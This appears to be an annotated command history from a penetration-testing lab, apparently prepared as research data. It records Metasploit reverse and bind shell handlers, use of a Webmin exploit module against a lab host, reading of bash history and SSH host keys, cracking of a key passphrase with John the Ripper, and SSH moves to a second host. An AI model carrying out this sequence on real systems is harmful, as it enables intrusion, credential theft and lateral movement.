```
use windows/meterpreter/reverse_tcp A4
                    setg LHOST 10.1.135.83 M6
                       setg LPORT 28605 A6
                use auxiliary/scanner/portscan/tcp A4
                     set RHOSTS 172.18.1.5 V6
                        set THREADS 24 V6
                        set PORTS 50000 V6
                             run -j M8
       db_nmap --min-hostgroup 96 -T4 -A -v -n 172.18.1.5 V0
                          show exploits V8
                use auxiliary/scanner/portscan/tcp A4
                     set RHOSTS 172.18.1.5 V6
                        set THREADS 24 V6
                        set PORTS 50000 V6
                              run -j V8
                           msfconsole M2
                     set RHOSTS 172.18.1.5 V6
                              show A5
                            show all A5
                              show A5
                           set exploit V8
                     set exploit 2019-15107 V8
       db_nmap --min-hostgroup 96 -T4 -A -v -n 172.18.1.5 V0
                    use exploit/multi/handler V8
                       set LHOST 0.0.0.0 V6
             set PAYLOAD generic/shell_reverse_tcp V6
                        set LPORT 14718 A6
                   set ExitOnSession false A6 A10
                            exploit -j V8
                        use exploit/47230 V8
                     set RHOSTS 172.18.1.5 V6
                        set TARGETURI / A6
                          set TARGET 0 A6
                     set LHOST 10.1.135.83 V6
                        set LPORT 11265 A6
               set PAYLOAD generic/shell_bind_tcp V6
                          set RPORT 80 V6
                            set SSL 0 A6
                            exploit -j V8
                        use exploit/47230 V8
                     set RHOSTS 172.18.1.5 V6
                        set TARGETURI / A6
                          set TARGET 0 A6
                     set LHOST 10.1.135.83 V6
                         set LPORT 2139 A6
               set PAYLOAD generic/shell_bind_tcp V6
                        set RPORT 10000 V6
                            set SSL 0 A6
                            exploit -j V8
                        use exploit/47230 V8
                          set RHOSTS V6
                        set TARGETURI / A6
                          set TARGET 0 A6
                     set LHOST 10.1.135.83 V6
                        set LPORT 26069 A6
               set PAYLOAD generic/shell_bind_tcp V6
                        set RPORT 10000 V6
                            set SSL 0 A6
                            exploit -j V8
                    use exploit/multi/handler V8
                     set LHOST 10.1.135.83 V6
                        set LPORT 8871 A6
             set PAYLOAD generic/shell reverse tcp V6
                   set ExitOnSession false A6 A10
                            exploit -j V8
                        use exploit/47230 V8
                     set RHOSTS 172.18.1.5 V6
                        set TARGETURI / A6
                          set TARGET 0 A6
                     set LHOST 10.1.135.83 V6
                        set LPORT 17595 A6
               set PAYLOAD generic/shell_bind_tcp V6
                        set RPORT 10000 V6
                            set SSL 0 A6
                            exploit -j V8
                         sessions -c 3 ls A10
                         sessions 3 -c ls A10
                         sessions 3 -c ls A10
            sessions 3 -c less WARNING-READ-ME.txt M9
                         sessions 3 -c ls A10
                    sessions -c search history A3
                     sessions -c find history A10
                 sessions -c find *.bash_history M10
              sessions -c find -name *.bash_history V10
                         sessions -c ls A10
                         sessions -c ls A10
                sessions 3 -c less .bash_history M11
                  sessions 3 -c find -name ssh V10
                    sessions 3 -c cd /etc/ssh A16
       sessions 3 -c less ssh_host_rsa_key A9 A11 A12 A16 A17
                            openssh A16
                              ssh A16
                        ssh -i /root/ssh M16
                     ssh -i /root/desktop/ssh V16
               less /desktop/ssh A9 A11 A12 A16 A17
             less /root/desktop/ssh A9 A11 A12 A16 A17
             less /root/Desktop/ssh A9 A11 A12 A16 A17
               ssh -i /root/Desktop/ssh 10.1.17.4 V16
   sessions 3 -c less ssh_host_ecdsa_key.pub A9 A11 A12 A16 A17
              ssh -i /root/Desktop/sshpub 10.1.17.4 V16
     sessions 3 -c less ssh_host_ecdsa_key A9 A11 A12 A16 A17
               ssh -i /root/Desktop/ssh 10.1.17.4 V16
                              ssh A16
               ssh -i /root/Desktop/ssh 10.1.17.4 V16
          sessions 3 -c less ssh_config A9 A11 A12 A16 A17
               ssh -i /etc/ssh/ssh_comp 10.1.17.4 V16
                 chmod 600 /etc/ssh/ssh_comp M15
               ssh - i /etc/ssh/ssh\_comp 10.1.17.4 V16
                  sessions 3 -c cd /usr/bin/ssh A16
                         sessions 3 -c ls A10
         sessions 3 -c less sshd_config A9 A11 A12 A16 A17
                         sessions 3 -c ls A10
     sessions 3 -c less ssh_host_ecdsa_key A9 A11 A12 A16 A17
                  sessions -c find -fname ecdsa A10
                  sessions -c find -name ecdsa V10
                sessions -c find -name ecdsa key V10
               sessions -c find -fname *ecdsa_key A10
         sessions -c find -fname ssh_host_ecdsa_key A10 A16
                         sessions -c ls A10
                      python ssh2john.py M13
             python ssh2john.py /etc/ssh/ssh_comp V13
                   python ssh2john.py --help V13
                      python ssh2john.py V13
                      python ssh2john.py V13
          python ssh2john.py /root/Desktop/ssh comp V13
         john --wordlist rockyou.txt /root/Desktop/john M14
               john --wordlist /root/Desktop/john V14
john --wordlist /usr/share/wordlists/rockyou.txt /root/Desktop/john V14
               ssh - i / etc / ssh / ssh \_ comp 10.1.17.4 V16
             ssh -i /usr/Desktop/ssh_comp 10.1.17.4 V16
            ssh -i /root/Desktop/ssh comp 10.1.17.4 V16
```

chmod 600 /root/Desktop/ssh_comp V15

ssh -i /root/Desktop/ssh_comp 10.1.17.4 V16

nmap --help A0 A1

nmap -p1-65535 172.18.1.5 M0

setg A6